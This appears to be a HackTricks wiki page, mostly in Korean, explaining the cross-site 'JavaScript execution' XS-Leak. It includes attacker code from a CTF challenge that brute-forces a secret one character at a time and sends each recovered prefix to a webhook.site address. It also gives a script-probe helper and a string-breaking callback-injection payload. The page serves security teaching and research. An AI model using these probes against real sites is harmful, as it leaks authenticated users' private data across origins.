JavaScript Execution XS Leak
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
이 XS-Search primitive는 cross-origin response가 JavaScript로 실행되는지 여부를 Boolean oracle로 바꿉니다.
일반적인 설정은 다음과 같습니다:
- Positive state: target이 attacker-controlled text 또는 sensitive content를 반환하지만, 이는 attacker JavaScript로 실행되지 않음.
- Negative state: target이 attacker-controlled text를 valid JavaScript로 파싱되는 위치에 반영하여, attacker가
window.parent.foo()같은 callback을 강제로 실행할 수 있음. - Leak: classic
<script src>로 target을 로드하고 callback이 실행되는지 관찰함.
이것은 기본적으로 timing oracle이 아니라 execution oracle입니다. attacker에게 필요한 것은 secret-dependent branch에 따라 다르게 동작하는 cross-origin script inclusion뿐입니다.
일반적인 XS-Leaks 배경은 다음을 보세요:
When This Works
이 technique는 다음이 모두 참일 때 실용적입니다:
- victim이 target origin에 authenticated 되어 있음.
- attacker가 victim browser로 하여금 target origin에서 classic script를 요청하게 할 수 있음.
- 한 branch가 valid attacker-controlled JavaScript를 반환함.
- 다른 branch가 attacker callback을 실행하지 않는 content를 반환함.
실제로 가장 쉬운 경우는 다음과 같은 search/debug endpoints입니다:
- guess가 틀리면 attacker-controlled text를 반환
- guess가 맞으면 다른 body를 반환
- attacker가
callback,hint,msg, 또는 reflected prefix/suffix 같은 parameter를 선택할 수 있음
Basic Example
${guess}를 flag prefix로 시도하는 server-side code:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
이전 /guessing 페이지에 대해 각 가능성을 테스트하기 위해 iframes를 생성하는 메인 페이지:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
공격자 로직은 다음과 같습니다:
- 모든 후보를 “good“으로 시작합니다.
- 대상 응답을 script로 로드합니다.
- 응답이
window.parent.foo()를 실행하면, 해당 후보를 wrong으로 표시합니다. - 아무 callback도 실행되지 않으면, 후보를 유지하고 brute-forcing을 계속합니다.
Minimal Probe Pattern
많은 실제 대상에서는 iframe이 필요하지 않습니다. 직접 script 포함만으로 충분합니다:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
If the “wrong guess” branch reflects miss(), then:
probe(...) === falsemeans the callback executed or the load failedprobe(...) === truemeans the script loaded without running the attacker callback
신뢰성을 위해, probe마다 fresh script element를 사용하고 ?r=${crypto.randomUUID()} 같은 cache-buster를 추가하세요.
Modern Caveats
It must be a classic script
이 primitive는 브라우저가 리소스를 classic script로 가져오는 것에 의존합니다. crossorigin 없는 일반 <script src=...>는 no-cors mode로 가져와지며, 바로 그 이유 때문에 이 오래된 pattern이 cross-origin에서 여전히 유용합니다.
이 technique에서 type="module"로 바꾸지 마세요:
- cross-origin module scripts require CORS
- classic scripts로 포함 가능한 많은 target은 module로는 그냥 실패합니다
MIME type and nosniff decide whether the payload executes
현재 browser는 예전 writeup보다 더 엄격합니다. target이 X-Content-Type-Options: nosniff를 설정하면, browser는 MIME type이 JavaScript MIME type이 아닌 script response를 차단합니다.
즉, 이 oracle은 종종 다음에 의존합니다:
- target이
application/javascript/text/javascript를 반환하는지 - target이
text/plain,text/html, 또는 JSON을 반환하는지 nosniff가 존재하는지
이것이 일부 endpoint에서 한 branch에서만 leak이 나는 이유이기도 합니다: 한 response는 script로 허용되지만, 다른 branch는 차단되거나 다르게 parse됩니다.
CORB can change the observable result
CORB는 생각해야 할 또 다른 branch를 추가합니다. response가 CORB-protected로 간주되면, Chromium은 parse failure를 노출하는 대신 그것을 empty valid script response로 바꿀 수 있습니다. 그래서 일부 endpoint에서는:
- 한 state가 정상적인 script parse / callback을 트리거하고
- 다른 state는 empty script가 되어
onload만 발생합니다
여전히 유용한 oracle이지만, signal은 이제 단순한 “JavaScript executed or not“가 아니라 callback vs no callback 또는 onload vs onerror입니다.
CSP can kill the attacker-controlled branch
target response에 엄격한 CSP가 있으면, reflected branch가 더 이상 실행 가능한 JavaScript가 아닐 때 이 primitive가 깨질 수 있습니다. 2022년부터 2024년까지의 공개 XS-Leak challenge writeup들은 이 세부 사항에 반복적으로 의존합니다:
script-src 'none'는 attacker가 직접 execution oracle로 가는 것을 강제로 우회하게 만들 수 있습니다- CSP/SRI/CSP-report 상호작용은 여전히 다른 leak oracle을 만들 수 있지만, 그것들은 다른 page/technique에 해당합니다
따라서 명백한 callback trick이 동작하지 않으면, endpoint를 버리기 전에 response headers를 확인하세요.
Useful Variants
Callback-parameter endpoints
가장 편리한 target은 다음과 같은 parameter를 받는 JSONP-style 또는 debug endpoint입니다:
callback=...cb=...jsonp=...hint=...msg=...
“miss” branch가 그 값을 executable JavaScript 안에 verbatim으로 반영하고 “hit” branch가 다른 content를 반환한다면, timing measurement 없이 직접적인 Boolean oracle을 얻을 수 있습니다.
Syntax-preserving prefixes and suffixes
때로는 response body를 완전히 제어할 수 없지만, 그래도 negative branch를 execute시킬 수 있습니다:
- 현재 string 또는 function argument를 닫기
- callback을 주입하기
- trailing bytes를 comment out하기
예를 들어, 다음과 같은 reflected branch:
showResult("<attacker>");
다음으로 자주 바뀔 수 있다:
showResult("");window.parent.foo();//");
양의 branch가 해당 payload를 반영하지 않으면, callback이 oracle이 됩니다.
event-based oracles와 결합하기
endpoint가 브라우저마다 불안정하다면, section index에서 이미 다룬 일반적인 script load events와 execution oracle을 섞으세요:
- callback fired
onloadonerror
이것은 한 branch가 유효한 JavaScript를 만들고 다른 branch가 blocked MIME / CORB / CSP behavior를 보일 때 특히 유용합니다.
Related pages:
Practical Notes
- 요청당 one bit를 선호하고 callback side effect를 단순하게 유지하세요.
- 많은 후보를 probe한다면, 이전에 삽입한
<script>elements를 제거하거나 각 시도를 별도의 새 iframe에서 분리하세요. - Cache와 service worker behavior가 oracle을 오염시킬 수 있으므로 cache-busting을 사용하세요.
- 이 primitive는 negative branch가 완전히 attacker-controlled JavaScript일 때 가장 강력합니다. 부분적인 reflection만 얻는다면, exploit은 XS-Search problem이 아니라 payload-shaping problem이 됩니다.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


